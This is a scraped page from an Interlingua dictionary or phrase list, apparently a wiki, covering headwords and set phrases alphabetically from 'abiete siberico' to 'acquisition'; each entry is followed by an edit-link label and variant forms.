sibericModificar abiete siberico abietinModificar abietino(s) \/ abietina(s) abiogenese \/ abiogenesisModificar abiogenese \/ abiogenesis [la abiogeneticModificar abiogenetico(s) \/ abiogenetica(s) abioticModificar abiotico(s) \/ abiotica(s) abiotrophiaModificar abjecteModificar abjecto(s) \/ abjecta(s) abjectionModificar abjurabileModificar abjurabile(s) abjuramentoModificar abjurarModificar abjurar le heresiaModificar abjurar la heresia abjurar le protestantismoModificar abjurar un regeModificar abjurar un religionModificar abjurar una religion abjurationModificar abjuratorModificar abjuratoriModificar abjuratorio(s) \/ abjuratoria(s) ablactarModificar ablactationModificar ablandarModificar ablandar le corde deModificar ablastinaModificar ablationModificar ablation de un glacieroModificar ablation de un renModificar ablation de un tumorModificar ablation del amygdalasModificar ablation de las amygdalas ablation glaciariModificar ablation glaciaria ablativeModificar ablativo(s) \/ ablativo(s) ablativoModificar ablativo absoluteModificar ablativo absoluto ablaut [G]Modificar ablaut [le ablegatoModificar abluerModificar ablutionModificar ablutiones ritualModificar ablutiones rituales abnegarModificar abnegar su religionModificar abnegationModificar abolimentoModificar abolimento del sclavitudeModificar abolimento de la sclavitude abolirModificar abolir le pena de morteModificar abolir la pena de morte abolir le sclavitudeModificar abolir la sclavitude abolir un decretoModificar abolir un legeModificar abolir una lege abolir un penaModificar abolir una pena abolir un privilegioModificar abolitionModificar abolition de un legeModificar abolition de una lege abolition del pena de morteModificar abolition de la pena de morte abolition del privilegiosModificar abolition de los privilegios abolition del sclavitudeModificar abolition de la sclavitude abolitionismoModificar abolitionistaModificar abolitiveModificar abolitivo(s) \/ abolitiva(s) abomasoModificar abominabileModificar abominabile(s) abominabilemente fedeModificar abominabilemente fedo(s) \/ feda(s) abominarModificar abominar le dishonestateModificar abominar la dishonestate abominar le dishonestitateModificar abominar la dishonestitate abominationModificar abonamentoModificar abonamento annualModificar abonamento annueModificar abonamento annuo abonamento de essayoModificar abonamento de ferroviaModificar abonamento de supportoModificar abonamento de theatroModificar abonamento de trainoModificar abonamento hebdomadariModificar abonamento hebdomadario abonamento mensualModificar abonamento pro un annoModificar abonamento septimanalModificar abonamento tramviariModificar abonamento tramviario abonamento trimestralModificar abonarModificar abonar se a un gruppo in le InternetModificar abonar se a un gruppo in la Internet abonar se a un revistaModificar abonar se a una revista abonar un terrenoModificar abonatoModificar aboralModificar aboral(es) aborigineModificar aborigine(s) aboriginesModificar abortamentoModificar abortamento spontaneeModificar abortamento spontaneo abortar (se)Modificar abortar un pregnantiaModificar abortar una pregnantia abortatorModificar abortiveModificar abortivo(s) \/ abortiva(s) abortivoModificar abortoModificar aborto illegalModificar aborto provocateModificar aborto provocato abracadabraModificar abraderModificar abrasionModificar abrasion del pelleModificar abrasion de la pelle abrasion fluvialModificar abrasion fluviatileModificar abrasion marinModificar abrasion marina abrasiveModificar abrasivo(s) \/ abrasiva(s) abrasivitateModificar abrasivoModificar abreactionModificar abreactiveModificar abreactivo(s) \/ abreactiva(s) abreagerModificar abrogabileModificar abrogabile(s) abrogarModificar abrogar un dispositionModificar abrogar una disposition abrogar un legeModificar abrogar una lege abrogar un regulamentoModificar abrogationModificar abrogation de un legeModificar abrogation de una lege abrogativeModificar abrogativo(s) \/ abrogativa(s) abrogatorModificar abrogatoriModificar abrogatorio(s) \/ abrogatoria(s) abroniaModificar abrumperModificar abrupteModificar abrupto(s) \/ abrupta(s) abscederModificar abscessoModificar abscesso al pulmonModificar abscesso cerebralModificar abscesso de derivationModificar abscesso de splenModificar abscesso del ficatoModificar abscesso del hepateModificar abscesso exuberanteModificar abscesso furunculoseModificar abscesso furunculoso abscesso maturModificar abscesso maturo abscesso maxillarModificar abscesso pulmonarModificar abscesso splenicModificar abscesso splenico abscinderModificar abscissaModificar abscissa curvilineeModificar abscissa curvilinea abscissionModificar absconderModificar absconseModificar absconso(s) \/ absconsa(s) absentar seModificar absenteModificar absente(s) absentiaModificar absentia autorisateModificar absentia autorizata absentia de prejudiciosModificar absentia de reposoModificar absentia de systemaModificar absentia in classeModificar absentia in scholaModificar absentia (non) justificateModificar absentia (non) justificata absentia scholarModificar absenteismo \/ absentismo (scholar)Modificar absenteista \/ absentistaModificar absidalModificar absidal(es) absideModificar abside [le\/la absidiolaModificar absinthicModificar absinthico(s) \/ absinthica(s) absinthinaModificar absinthioModificar absinthismoModificar absoluteModificar absoluto(s) \/ absoluta(s) absolutemente indispensabileModificar absolutamente indispensabile(s) absolutionModificar absolutisarModificar absolutizar absolutisationModificar absolutization absolutismoModificar absolutistaModificar absolutisticModificar absolutistico(s) \/ absolutistica(s) absolutitateModificar absolutitate de un principioModificar absolutorModificar absolutoriModificar absolutorio(s) \/ absolutoria(s) absolverModificar absolver un accusatoModificar absolver un penitenteModificar absorbenteModificar absorbente(s) absorbentiaModificar absorberModificar absorber le attentionModificar absorber la attention absorber multe temporeModificar absorber multo tempore absorbibileModificar absorbibile(s) absorbibilitateModificar absorbite in pensamentosModificar [absorbito(s) \/ absorbita(s)] in pensamentos absorbite in pensatasModificar [absorbito(s) \/ absorbita(s)] in pensatas absorptionModificar absorption de luceModificar absorption de lumineModificar absorption de oxygenoModificar absorption de resonantiaModificar absorption de sonoModificar absorption luminoseModificar absorption luminosa absorptiveModificar absorptivo(s) \/ absorptiva(s) absorptivitateModificar abstemieModificar abstemio(s) \/ abstemia(s) abstemioModificar abstentionModificar abstention del votoModificar abstentionismoModificar abstentionistaModificar abstergenteModificar abstergente(s) abstergerModificar abstersionModificar abstersiveModificar abstersivo(s) \/ abstersiva(s) abstersivoModificar abstinenteModificar abstinente(s) abstinentiaModificar abstinentia de alcoholModificar abstinentia periodicModificar abstinentia periodica abstinentia sexual periodicModificar abstinentia sexual periodica abstinentia totalModificar abstiner seModificar abstiner se de alcoholModificar abstiner se de commentarioModificar abstiner se de participarModificar abstiner se de participationModificar abstiner se de tabacoModificar abstiner se de tote criticaModificar abstiner se de tota critica abstiner se del votoModificar abstracteModificar abstracto(s) \/ abstracta(s) abstractionModificar abstractismoModificar abstractistaModificar abstractiveModificar abstractivo(s) \/ abstractiva(s) abstraherModificar abstruderModificar abstruseModificar abstruso(s) \/ abstrusa(s) abstrusitateModificar abstrusitate de un theoriaModificar abstrusitate de una theoria absurdeModificar absurdo(s) \/ absurda(s) absurditateModificar absurditate del existentiaModificar absurditate de la existentia absurdoModificar abuccamentoModificar abuccarModificar abuccar seModificar abuliaModificar abulicModificar abulico(s) \/ abulica(s) abulicoModificar abundanteModificar abundante(s) abundante in aquaModificar abundante(s) in aqua abundante in chassaModificar abundante(s) in chassa abundante in metaphorasModificar abundante(s) in metaphoras abundante in vitaminasModificar abundante(s) in vitaminas abundantiaModificar abundantia de detaliosModificar abundantia de floresModificar abundantia de parolasModificar abundantia verbalModificar abundantistaModificar abundarModificar abundar in difficultatesModificar abundar in erroresModificar abusarModificar abusar deModificar abusar de un juvenaModificar abusar de una juvena abusar del amicitateModificar abusar de la amicitate abusatorModificar abusiveModificar abusivo(s) \/ abusiva(s) abusivementeModificar abusivamente abusoModificar abuso de alcoholModificar abuso de autoritateModificar abuso de bibitas alcoholicModificar abuso de bibitas alcoholicas abuso de confidentiaModificar abuso de derectoModificar abuso de narcoticosModificar abuso de poterModificar abuso de \/ del confidentiaModificar abuso de \/ de_la confidentia abusos flagranteModificar abusos flagrantes abysmalModificar abysmal(es) abysmo Modificar abysmo de dolorModificar abysmo de miseriaModificar abyssalModificar abyssal(es) abyssinModificar abyssino(s) \/ abyssina(s) AbyssiniaModificar abyssinoModificar abyssoModificar abysso de dolorModificar abysso de miseriaModificar acaciaModificar academiaModificar academia de artesModificar academia de balloModificar academia de belle artesModificar academia de bellas artes academia de cineModificar academia de dansaModificar academia de equitationModificar academia de interpretesModificar academia de musicaModificar academia de scientiasModificar academia militarModificar Academia Royal Nederlandese del ScientiasModificar Academia Royal Nederlandesa de las Scientias academicModificar academico(s) \/ academica(s) academicoModificar academismoModificar acajuModificar acaju [le acalculiaModificar acalepheModificar acalephe [le acanthaModificar acanthaceasModificar acanthaceeModificar acanthaceo(s) \/ acanthacea(s) acanthis flammeeModificar acanthis flammeo acanthoModificar acanthocarpeModificar acanthocarpo(s) \/ acanthocarpa(s) acanthocephaleModificar acanthocephalo(s) \/ acanthocephala(s) acanthocephaloModificar acanthocytoModificar acanthopanaxModificar acanthophoreModificar acanthophoro(s) \/ acanthophora(s) acanthopterygiosModificar acaricidaModificar acaricida [le \/ la acaroModificar acaro de \/ del caseoModificar acaro elephantinModificar acaro elephantino acarophobiaModificar acaroseModificar acaroso(s) \/ acarosa(s) acarpeModificar acarpo(s) \/ acarpa(s) acatalecticModificar acatalectico(s) \/ acatalectica(s) acatalepsiaModificar acatalepticModificar acataleptico(s) \/ acataleptica(s) acauleModificar acaule(s) adj accalmiaModificar accaparamentoModificar accapararModificar accaparatorModificar accaparator de cerealesModificar accastellageModificar accastellamentoModificar accastellarModificar accederModificar acceder a un petitionModificar acceder a una petition acceder a un requestaModificar acceder a una requesta acceder al desiderios de un personaModificar acceder a los desiderios de una persona acceder al desiros de un personaModificar acceder a los desiros de una persona acceder al poterModificar accelerando [I]Modificar accelerarModificar accelerar le laboresModificar accelerar los labores accelerar le motorModificar accelerar le movimentoModificar accelerar le passoModificar accelerar le rhythmo cardiacModificar accelerar le rhythmo cardiaco accelerar le travaliosModificar accelerar los travalios accelerar su morteModificar accelerar un disveloppamentoModificar accelerar un reaction chimicModificar accelerar una reaction chimica accelerateModificar accelerato(s) \/ accelerata(s) accelerationModificar acceleration absoluteModificar acceleration absoluta acceleration angularModificar acceleration de un movimentoModificar acceleration de vibrationModificar acceleration del gravitateModificar acceleration de la gravitate acceleration del gravitationModificar acceleration de la gravitation acceleration tangentialModificar acceleration transversalModificar accelerativeModificar accelerativo(s) \/ accelerativa(s) acceleratorModificar accelerator circularModificar accelerator de electronesModificar accelerator de particulasModificar accelerator del parolaModificar accelerator de la parola accelerogrammaModificar accelerographoModificar accelerometroModificar accendaliaModificar accendecigarroModificar accende-gasModificar accende-gas [le accenderModificar accender le estufaModificar accender la estufa accender le focoModificar accender le gasModificar accender le luceModificar accender la luce accender le lumineModificar accender la lumine accender le miccaModificar accender la micca accender un candelaModificar accender una candela accender un cigarrettaModificar accender una cigarretta accender un cigarroModificar accender un flammiferoModificar accendibileModificar accendibile(s) accendimentoModificar accendimento per pila(s)Modificar accenditorModificar accenditor automaticModificar accenditor automatico accenditor de gasModificar accenditor de tabulaModificar accenditor jectabileModificar accenditoriModificar accenditorio(s) \/ accenditoria(s) accensibileModificar accensibile(s) accensibilitateModificar accentoModificar accento acuteModificar accento acuto accento circumflexeModificar accento circumflexo accento de altorModificar accento de intensitateModificar accento de phraseModificar accento de reprocheModificar accento dynamicModificar accento dynamico accento emphaticModificar accento emphatico accento expiratoriModificar accento expiratorio accento finalModificar accento graveModificar accento initialModificar accento legierModificar accento legiero accento metricModificar accento metrico accento musicalModificar accento planctiveModificar accento planctivo accento principalModificar accento regionalModificar accento respiratoriModificar accento respiratorio accento secundariModificar accento secundario accento tonalModificar accento tonicModificar accento tonico accentos elegiacModificar accentos elegiacos accentualModificar accentual(es) accentuarModificar accentuar alicun aspectos de un programmaModificar accentuar alicunos aspectos de un programma accentuar le vocal ante le ultime consonante in interlinguaModificar accentuar la vocal ante la ultima consonante in interlingua accentuar su argumentosModificar accentuar sus argumentos accentuar su effortioModificar accentuar un syllabaModificar accentuar una syllaba accentuateModificar accentuato(s) \/ accentuata(s) accentuationModificar accentuation de un parolaModificar accentuation de una parola acceptabileModificar acceptabile(s) acceptabilitateModificar acceptabilitate de un propositionModificar acceptabilitate de una proposition acceptarModificar acceptar como normaModificar acceptar con gratitudeModificar acceptar con restrictionModificar acceptar excusasModificar acceptar le periculoModificar acceptar le riscoModificar acceptar monetaModificar acceptar per acclamationModificar acceptar (un) telegrammaModificar acceptar un consilioModificar acceptar un cosa sin criticaModificar acceptar una cosa sin critica acceptar un disculpationModificar acceptar una disculpation acceptar un donationModificar acceptar una donation acceptar un hereditageModificar acceptar un invitationModificar acceptar una invitation acceptar un legeModificar acceptar una lege acceptar un motionModificar acceptar una motion acceptar un offertaModificar acceptar una offerta acceptar un pourboireModificar acceptar un propositionModificar acceptar una proposition acceptar un successionModificar acceptar una succession acceptar un theoriaModificar acceptar una theoria acceptateModificar acceptato(s) \/ acceptata(s) acceptationModificar acceptation commercialModificar acceptation conditionalModificar acceptation de commercioModificar acceptation de seModificar acceptation de un donationModificar acceptation de una donation acceptation de un donoModificar acceptation inconditionalModificar acceptation partialModificar acceptionModificar acception currente de un parolaModificar acception currente de una parola acception figurateModificar acception figurata acception proprieModificar acception propria acceptorModificar acceptor de hydrogenoModificar accessibileModificar accessibile(s) accessibile a totesModificar accessibile(s) a totos \/ totas accessibile al publicoModificar accessibilitateModificar accessibilitate de un locoModificar accessionModificar accession al thronoModificar accession de un pais al Union EuropeeModificar accession de un pais a la Union Europea accessoModificar accesso al jardinModificar accesso convulsiveModificar accesso convulsivo accesso de asthmaModificar accesso de choleraModificar accesso de cramposModificar accesso de dolorModificar accesso de epilepsiaModificar accesso de febreModificar accesso de folliaModificar accesso de furiaModificar accesso de furorModificar accesso de hysteriaModificar accesso de iraModificar accesso de melancholiaModificar accesso de migraineModificar accesso de misanthropiaModificar accesso de paludismoModificar accesso de rabieModificar accesso de rage {j}Modificar accesso de risoModificar accesso de spasmosModificar accesso de sternutamentoModificar accesso de sternutationModificar accesso de tusseModificar accesso epilepticModificar accesso epileptico accesso febrilModificar accesso guttoseModificar accesso guttoso accesso hystericModificar accesso hysterico accesso libereModificar accesso libere \/ libero accesso prohibiteModificar accesso prohibito accesso spasmodicModificar accesso spasmodico accessoriModificar accessorio(s) \/ accessoria(s) accessorio(s)Modificar accessorios de auto \/ automobileModificar accessorios de bicyclettaModificar accessorios de theatroModificar accessorios de toiletteModificar accessorios photographicModificar accessorios photographicos accessos asthmaticModificar accessos asthmaticos acciaccatura [I]Modificar accidentalModificar accidental(es) accidentateModificar accidentato(s) \/ accidentata(s) accidenteModificar accidente de auto \/ automobileModificar accidente de aviationModificar accidente de avionModificar accidente de bicyclettaModificar accidente de circulationModificar accidente de laborModificar accidente de reactorModificar accidente de trafficoModificar accidente de travalioModificar accidente ferroviariModificar accidente ferroviario accidente grammaticalModificar accidente inopinateModificar accidente inopinato accidente minerariModificar accidente minerario accidente mortalModificar accidentes de personaModificar accidentes personalModificar accidentes personales acciderModificar accisiaModificar accisia de biraModificar acclamarModificar acclamar un oratorModificar acclamationModificar acclamatorModificar acclamatoriModificar acclamatorio(s) \/ acclamatoria(s) acclimatabileModificar acclimatabile(s) acclimatarModificar acclimatationModificar accolladaModificar accollada fraternalModificar accollada horizontalModificar accollada verticalModificar accollarModificar accommodabileModificar accommodabile(s) accommodamentoModificar accommodanteModificar accommodante(s) adj accommodarModificar accommodar se al circumstantiasModificar accommodar se a las circumstantias accommodar un querelaModificar accommodar una querela accommodationModificar accommodatorModificar accommodatoriModificar accommodatorio(s) \/ accommodatoria(s) accompaniabileModificar accompaniabile(s) accompaniamentoModificar accompaniamento de organoModificar accompaniamento de pianoModificar accompaniamento improvisateModificar accompaniamento improvisato accompaniamento obligate per violinoModificar accompaniamento obligato per violino accompaniamento orchestralModificar accompaniarModificar accompaniar a \/ al casaModificar accompaniar a \/ a_la casa accompaniar al trainoModificar accompaniar al traino accompaniar un persona a su ultime reposoModificar accompaniar una persona a su ultimo reposo accompaniar un persona al cinemaModificar accompaniar una persona al cinema accompaniar un violinista al pianoModificar accompaniate de su modo de empleoModificar [accompaniato(s) \/ accompaniata(s)] de su modo de empleo accompaniatorModificar accompaniator touristicModificar accompaniator touristico accopulamentoModificar accopulamento a conosModificar accopulamento a \/ de frictionModificar accopulamento a manichettoModificar accopulamento axialModificar accopulamento conicModificar accopulamento conico accopulamento de vocabulosModificar accopulamento dentateModificar accopulamento dentato accopulamento elasticModificar accopulamento elastico accopulamento in paralleloModificar accopulamento in serieModificar accopulamento per flangiasModificar accopulamento reversibileModificar accopulamento rigideModificar accopulamento rigido accopulamento tubularModificar accopularModificar accopular duo ideas disparateModificar accopular duas ideas disparatas accopular duo naves spatialModificar accopular duas naves spatiales accopular generatores electricModificar accopular generatores electricos accopular le wagonModificar accordabileModificar accordabile(s) accordanteModificar accordante(s) accordarModificar accordar (una) audientia a un personaModificar accordar (una) audientia a una persona accordar duo adversariosModificar accordar duos adversarios accordar facilitatesModificar accordar privilegiosModificar accordar su consentimentoModificar accordar su suffragio a un personaModificar accordar su suffragio a una persona accordar un brevetoModificar accordar un concessionModificar accordar una concession accordar un creditoModificar accordar un favorModificar accordar un favor a un personaModificar accordar un favor a una persona accordar un indulgentia a un personaModificar accordar una indulgentia a una persona accordar un licentiaModificar accordar una licentia accordar un patenteModificar accordar una patente accordar un pianoModificar accordar un privilegioModificar accordar un prorogation a un personaModificar accordar una prorogation a una persona accordar un subsidioModificar accordar un subvention a un scholaModificar accordar una subvention a una schola accordator de piano(s)Modificar accordatorioModificar accordaturaModificar accordatura absoluteModificar accordatura absoluta accordatura perfecteModificar accordatura perfecta accordionModificar accordion diatonicModificar accordion diatonico accordionistaModificar accordoModificar accordo amicabileModificar accordo bilateralModificar accordo budgetariModificar accordo budgetario accordo cautionalModificar accordo commercialModificar accordo consensualModificar accordo culturalModificar accordo de clearingModificar accordo de commercioModificar accordo de compraModificar accordo de compromissoModificar accordo de disarmamentoModificar accordo de fusionModificar accordo del preciosModificar accordo de los precios accordo de pagamentosModificar accordo de precioModificar accordo de principioModificar accordo de quintaModificar accordo de septimaModificar accordo de sextaModificar accordo de treguaModificar accordo dissonanteModificar accordo doanalModificar accordo doanerModificar accordo doanero accordo dominanteModificar accordo finalModificar accordo governamentalModificar accordo interbancariModificar accordo interbancario accordo interprovincialModificar accordo judicialModificar accordo monetariModificar accordo monetario accordo monetari triangularModificar accordo monetario triangular accordo multilateralModificar accordo navalModificar accordo per scriptoModificar accordo quadripartiteModificar accordo quadroModificar accordo salarialModificar accordo sectoral \/ sectorialModificar accordo super le preciosModificar accordo super los precios accordo taciteModificar accordo tacito accordo tripartiteModificar accordo verbalModificar accordos alterateModificar accordos alteratos accordos derivateModificar accordos derivatos accordos fundamentalModificar accordos fundamentales accordos polytonalModificar accordos polytonales accostabileModificar accostabile(s) accostamentoModificar accostarModificar accostumabileModificar accostumabile(s) accostumarModificar accostumar a un regulaModificar accostumar a una regula accostumar se a scriber su litteras in interlinguaModificar accostumar se a scriber sus litteras in interlingua accostumateModificar accostumato(s) \/ accostumata(s) accreditarModificar accreditar un ambassadorModificar accrescerModificar accrescer le valorModificar accrescer su cognoscentiasModificar accrescer sus cognoscentias accrescer su cognoscimentosModificar accrescer sus cognoscimentos accrescer su ricchessaModificar accrescimentoModificar accrescimento de un fortunaModificar accrescimento de una fortuna accrescimento del activoModificar accrescimento del capitalModificar accrescimento del dolorModificar accrescimento del mortalitateModificar accrescimento de la mortalitate accrescimento del populationModificar accrescimento de la population accrescimento del valorModificar accrescimento demographicModificar accrescimento demographico accrescimento exponentialModificar accretionModificar accularModificar accular le inimico al marModificar accular le inimico al \/ a_la mar acculturar (se)Modificar acculturationModificar acculturation de un immigratoModificar accumulabileModificar accumulabile(s) accumulamentoModificar accumularModificar accumular provasModificar accumular tresoresModificar accumulationModificar accumulation de benesModificar accumulation de capitalModificar accumulation de catastrophesModificar accumulation de erroresModificar accumulation de ricchessasModificar accumulation de sedimentoModificar accumulation de siltModificar accumulativeModificar accumulativo(s) \/ accumulativa(s) accumulatorModificar accumulator al plumboModificar accumulator del starterModificar accumulator hydropneumaticModificar accumulator hydropneumatico accurateModificar accurato(s) \/ accurata(s) accuratessaModificar accurrerModificar accurrer impetuosementeModificar accurrer impetuosamente accurrer in massaModificar accurrer pro adjutar un personaModificar accurrer pro adjutar una persona accurrer verso un personaModificar accurrer verso una persona accurtamentoModificar accurtarModificar accurtationModificar accusabileModificar accusabile(s) accusabilitateModificar accusamentoModificar accusarModificar accusar de complicitateModificar accusar de feloniaModificar accusar reception deModificar accusar reception de un litteraModificar accusar reception de una littera accusar un functionario de prevaricationModificar accusar un persona de furtoModificar accusar una persona de furto accusar un persona de opportunismoModificar accusar una persona de opportunismo accusar un persona de robamentoModificar accusar una persona de robamento accusationModificar accusation calumnioseModificar accusation calumniosa accusation falseModificar accusation falsa accusation gratuiteModificar accusation gratuita accusation infamanteModificar accusation infundateModificar accusation infundata accusation malevolenteModificar accusativeModificar accusativo(s) \/ accusativa(s) accusativoModificar accusatoModificar accusatorModificar accusator publicModificar accusator publico accusatoriModificar accusatorio(s) \/ accusatoria(s) acellularModificar acephaleModificar acephalo(s) \/ acephala(s) acephaliaModificar acephaloModificar aceraceasModificar acerasModificar acerbarModificar acerbeModificar acerbo(s) \/ acerba(s) acerbitateModificar acereModificar acere [le acere campestreModificar acere rubreModificar acere rubro acere saccharinModificar acere saccharino aceretoModificar acescenteModificar acescente(s) acescentiaModificar acescentia de vinosModificar acetabuloModificar acetaldehydeModificar acetamidoModificar acetatoModificar acetato amylicModificar acetato amylico acetato cupricModificar acetato cuprico acetato de cellulosaModificar acetato de plumboModificar acetato de polyvinylModificar aceticModificar acetico(s) \/ acetica(s) acetificarModificar acetificationModificar acetificatorModificar acetimetroModificar acetoModificar aceto balsamicModificar aceto balsamico aceto de plumboModificar aceto de vinoModificar acetonaModificar acetonemiaModificar acetonemicModificar acetonemico(s) \/ acetonemica(s) acetonicModificar acetonico(s) \/ acetonica(s) acetonuriaModificar acetoseModificar acetoso(s) \/ acetosa(s) acetositateModificar acetylModificar acetyl [le acetylcholinaModificar acetylenModificar acetylen [le acetylenicModificar acetylenico(s) \/ acetylenica(s) acetylsalicylicModificar acetylsalicylico(s) \/ acetylsalicylica(s) acheneModificar achene [le AcheronteModificar achilleaModificar achillea ptarmicModificar achillea ptarmica AchillesModificar achondroplasiaModificar achromasiaModificar achromateModificar achromato(s) \/ achromata(s) achromaticModificar achromatico(s) \/ achromatica(s) achromatinaModificar achromatisarModificar achromatizar achromatisar un objectivoModificar achromatizar un objectivo achromatisationModificar achromatization achromatisation de un objectivoModificar achromatization de un objectivo achromatismoModificar achromatopsiaModificar achyliaModificar achyranthesModificar achyranthes [las aciculaModificar acicularModificar acicular(es) acideModificar acido(s) \/ acida(s) acidemiaModificar acidifereModificar acidifero(s) \/ acidifera(s) acidificabileModificar acidificabile(s) acidificanteModificar acidificante(s) acidificarModificar acidificar vinoModificar acidificationModificar acidification del soloModificar acidimetriaModificar acidimetroModificar aciditateModificar aciditate de stomachoModificar aciditate de un citroModificar aciditate de un observationModificar aciditate de una observation aciditate de un remarcaModificar aciditate de una remarca aciditate gastricModificar aciditate gastrica aciditate de stomachoModificar aciditate stomachalModificar acidoModificar acido acerbeModificar acido acerbo acido aceticModificar acido acetico acido acetic glacialModificar acido acetico glacial acido acetylsalicylicModificar acido acetylsalicylico acido acrylicModificar acido acrylico acido alginicModificar acido alginico acido antimonicModificar acido antimonico acido arsenicModificar acido arsenico acido arsenioseModificar acido arsenioso acido ascorbicModificar acido ascorbico acido asparticModificar acido aspartico acido barbituricModificar acido barbiturico acido benzoicModificar acido benzoico acido biliarModificar acido boricModificar acido borico acido bromhydricModificar acido bromhydrico acido butyricModificar acido butyrico acido camphoricModificar acido camphorico acido capricModificar acido caprico acido caproicModificar acido caproico acido caprylicModificar acido caprylico acido carbolicModificar acido carbolico acido carbonicModificar acido carbonico acido chlorhydricModificar acido chlorhydrico acido chloricModificar acido chlorico acido chloroseModificar acido chloroso acido cholicModificar acido cholico acido chromicModificar acido chromico acido citricModificar acido citrico acido cobalticModificar acido cobaltico acido corrosiveModificar acido corrosivo acido crotonicModificar acido crotonico acido cyanhydricModificar acido cyanhydrico acido de stomachoModificar acido formicModificar acido formico acido fulminanteModificar acido fulminicModificar acido fulminico acido gallicModificar acido gallico acido gastricModificar acido gastrico acido gluconicModificar acido gluconico acido glutamicModificar acido glutamico acido glycericModificar acido glycerico acido grasseModificar acido grasso acido grasse (non) saturateModificar acido grasso (non) saturato acido hippuricModificar acido hippurico acido humicModificar acido humico acido hydrochloricModificar acido hydrochlorico acido hydrocyanicModificar acido hydrocyanico acido hypochloroseModificar acido hypochloroso acido hypophosphoricModificar acido hypophosphorico acido hypophosphoroseModificar acido hypophosphoroso acido hyposulfuroseModificar acido hyposulfuroso acido iodhydricModificar acido iodhydrico acido iodicModificar acido iodico acido lacticModificar acido lactico acido lactic dextrogyrModificar acido lactico dextrogyro acido lauricModificar acido laurico acido linoleicModificar acido linoleico acido lithicModificar acido lithico acido lysergicModificar acido lysergico acido malicModificar acido malico acido manganicModificar acido manganico acido margaricModificar acido margarico acido metaphosphoricModificar acido metaphosphorico acido methacrylicModificar acido methacrylico acido molybdicModificar acido molybdico acido monobasicModificar acido monobasico acido montanicModificar acido montanico acido mucicModificar acido mucico acido muriaticModificar acido muriatico acido naphthenicModificar acido naphthenico acido nicotinicModificar acido nicotinico acido nitricModificar acido nitrico acido nitroseModificar acido nitroso acido nucleicModificar acido nucleico acido oleicModificar acido oleico acido osmicModificar acido osmico acido oxalicModificar acido oxalico acido palmiticModificar acido palmitico acido pantothenicModificar acido pantothenico acido pecticModificar acido pectico acido perchloricModificar acido perchlorico acido permanganicModificar acido permanganico acido phenicModificar acido phenico acido phosphoricModificar acido phosphorico acido phosphoroseModificar acido phosphoroso acido phtalicModificar acido phtalico acido picricModificar acido picrico acido polybasicModificar acido polybasico acido pro accumulatoresModificar acido pro soldarModificar acido propionicModificar acido propionico acido prussicModificar acido prussico acido purpuricModificar acido purpurico acido pyrogallicModificar acido pyrogallico acido pyrolignoseModificar acido pyrolignoso acido pyrophosphoricModificar acido pyrophosphorico acido pyrosulfuricModificar acido pyrosulfurico acido quinicModificar acido quinico acido quininicModificar acido quininico acido racemicModificar acido racemico acido resinicModificar acido resinico acido saccharicModificar acido saccharico acido salicylicModificar acido salicylico acido sebacicModificar acido sebacico acido selenicModificar acido selenico acido selenioseModificar acido selenioso acido silicicModificar acido silicico acido stannicModificar acido stannico acido stearicModificar acido stearico acido stomachalModificar acido subericModificar acido suberico acido succinicModificar acido succinico acido sulfhydricModificar acido sulfhydrico acido sulfocarbonicModificar acido sulfocarbonico acido sulfuricModificar acido sulfurico acido sulfuric concentrateModificar acido sulfurico concentrato acido sulfuroseModificar acido sulfuroso acido tannicModificar acido tannico acido tartaricModificar acido tartarico acido telluricModificar acido tellurico acido thiosulfuricModificar acido thiosulfurico acido tribasicModificar acido tribasico acido uranicModificar acido uranico acido uricModificar acido urico acido valerianicModificar acido valerianico acido vanadicModificar acido vanadico acido vegetabileModificar acido vegetalModificar acido xanthicModificar acido xanthico acidogeneModificar acidogeno(s) \/ acidogena(s) acidolyse \/ acidolysisModificar acidophileModificar acidophilo(s) \/ acidophila(s) acidoresistenteModificar acidoresistente(s) acidoresistentiaModificar acidos grasse insaturateModificar acidos grassos insaturatos acidos grasse non-saturateModificar acidos grassos non-saturatos acidos grasse polyinsaturateModificar acidos grassos polyinsaturatos acidos grasse saturateModificar acidos grassos saturatos acidos polybasicModificar acidos polybasicos acidose \/ acidosisModificar acidulanteModificar acidulante(s) acidularModificar acidular un tisanaModificar acidular una tisana acidulationModificar aciduleModificar acidulo(s) \/ acidula(s) aciduriaModificar acierageModificar acierarModificar acierar ferroModificar acierationModificar acieriaModificar acieroModificar aciero a bandaModificar aciero al manganeseModificar aciero al thermiteModificar aciero a la thermite aciero alligateModificar aciero alligato aciero BessemerModificar aciero cementateModificar aciero cementato aciero chromateModificar aciero chromato aciero chromonickelModificar aciero cobalticModificar aciero cobaltico aciero compoundModificar aciero de blindageModificar aciero de ciselloModificar aciero de qualitate superiorModificar aciero de railModificar aciero ferriticModificar aciero ferritico aciero finModificar aciero fino aciero forgiabileModificar aciero forgiateModificar aciero forgiato aciero funditeModificar aciero fundito aciero homicidaModificar aciero in barrasModificar aciero in barras aciero inoxydabileModificar aciero profilateModificar aciero profilato aciero puddelateModificar aciero puddelato aciero ThomasModificar aciformeModificar aciforme(s) aciniformeModificar aciniforme(s) acinoModificar acinoseModificar acinoso(s) \/ acinosa(s) aclinicModificar aclinico(s) \/ aclinica(s) acmeModificar acme [le acneModificar acne [la acne juvenilModificar acne pustuloseModificar acne pustulosa acneicModificar acneico(s) \/ acneica(s) acneiformeModificar acneiforme(s) acoModificar aco a \/ de brodarModificar aco a \/ de punctionModificar aco a \/ de sarcirModificar aco a \/ de suerModificar aco a \/ de suturaModificar aco a \/ de syringaModificar aco a \/ de tricotarModificar aco de bussolaModificar aco de crochetModificar aco de essayoModificar aco de imballageModificar aco de machinaModificar aco de platinoModificar aco de sartorModificar aco de veleroModificar aco hypodermicModificar aco hypodermico aco magneticModificar aco magnetico acoasmaModificar acologiaModificar acologicModificar acologico(s) \/ acologica(s) acolytho \/ acolytoModificar aconfessionalModificar aconfessional(es) aconfessionalitateModificar aconitinaModificar aconitoModificar acordonarModificar acoroModificar acotyledoneModificar acotyledone(s) adj acquestoModificar acquiescenteModificar acquiescente(s) acquiescentiaModificar acquiescerModificar acquirerModificar acquirer cognoscentiasModificar acquirer cognoscimentosModificar acquirer colorModificar acquirer dexteritateModificar acquirer experientiaModificar acquirer fortia de legeModificar acquirer gloria eterneModificar acquirer gloria eterna acquirer le convictionModificar acquirer la conviction acquirer nove energiaModificar acquirer nova energia acquirer prestigioModificar acquirer un cosa per compraModificar acquirer una cosa per compra acquirer un costumeModificar acquirer un grande popularitateModificar acquirer una grande popularitate acquirer un habitoModificar acquiribileModificar acquiribile(s) acquiritorModificar acquisitionModificar acquisition (a) bon mercatoModificar acquisition de speculationModificar acquisition de un casaModificar acquisition de una casa acquisition de un linguaModificar acquisition de una lingua 